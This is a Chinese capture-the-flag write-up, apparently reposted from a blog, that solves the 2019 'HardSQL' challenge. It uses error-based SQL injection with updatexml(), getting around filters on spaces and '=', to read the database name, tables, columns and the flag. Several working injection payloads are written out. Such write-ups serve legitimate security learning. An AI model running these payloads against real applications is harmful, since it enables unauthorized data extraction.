ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

[极客大挑战 2019]HardSQL

2022-07-17 00:00:35  阅读:234  来源: 互联网

标签:极客 HardSQL 0x7e flag 2019 select updatexml payload concat


[极客大挑战 2019]HardSQL

先用一下常规payload

image-20220716211834676

发现应该是被过滤了

image-20220716211840222

用字典爆破发现这些字符的回显都是相同的

image-20220716215726497

根据错误,猜测是报错注入,(这里不是很明白怎么看出是报错注入的),有会的师傅可以评论一下

image-20220716220547134

然后我们尝试使用报错注入的payload:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

我们这里来了解一下updatexml()这个函数

updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML的内容 第二个参数:是需要update的位置XPATH路径 第三个参数:是更新后的内容 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式 函数利用和语法明白了,上面注入的payload就清楚明白

这里由于concat()得到的字符串不符合XPath_string,所以会出现XPATH syntax error这个错误

0x7e就是~符号,因为这个~符号不符合XPATH格式,所以会进行报错

所以我们输入上述的payload之后可以查到数据库的名字

image-20220716221314151

查到数据库名之后,继续查一下表名

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

image-20220716223018957

这里用括号,用like的原因是因为=和空格都被过滤了,我们如果用空格和=的话都会出现这样的界面

image-20220716223143290

查完表名,再查列名

先用这个payload: 1'or(updatexml(1,concat(0x7e,(select(concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20220716233818462

发现结果回显超过一行,所以我们里面的那个concat改成group_concat()

group_concat()函数的作用就是把所有的结果连接之后在同一行进行输出

重新输入新的payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20220716234152637

查到了列名,然后我们继续查询这些列里面相应的内容就可以

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(0x7e,id,0x7e,username,0x7e,password))from(H4rDsq1)),0x7e),1))#

image-20220716234257235

可以发现,我们这里只查到了一部分的flag,这里的话我们就要用到right函数了

我们这里介绍一下right函数的用法

RIGHT(str,len)

返回字符串str最右边的 len 个字符,如果任意参数为NULL返回NULL。

image-20220716234539155

然后因为我们这里只显示了前面部分的flag,所以我们要用right函数,去显示flag右边的部分

构造payload:1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#

image-20220716234748025

这里发现没有重复的地方,我们更改数值再查一次

1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

image-20220716234854727

可以发现,出现了重复的地方,所以我们只要把两个部分的flag去重,然后进行提交就可以

~~1~flag~flag{7566e8ce-72b2-4d45

e-72b2-4d45-ac97-5a78b0d37426}

进行拼接之后就是

flag{7566e8ce-72b2-4d45-ac97-5a78b0d37426}

标签:极客,HardSQL,0x7e,flag,2019,select,updatexml,payload,concat
来源: https://www.cnblogs.com/Jinx8823/p/16485655.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有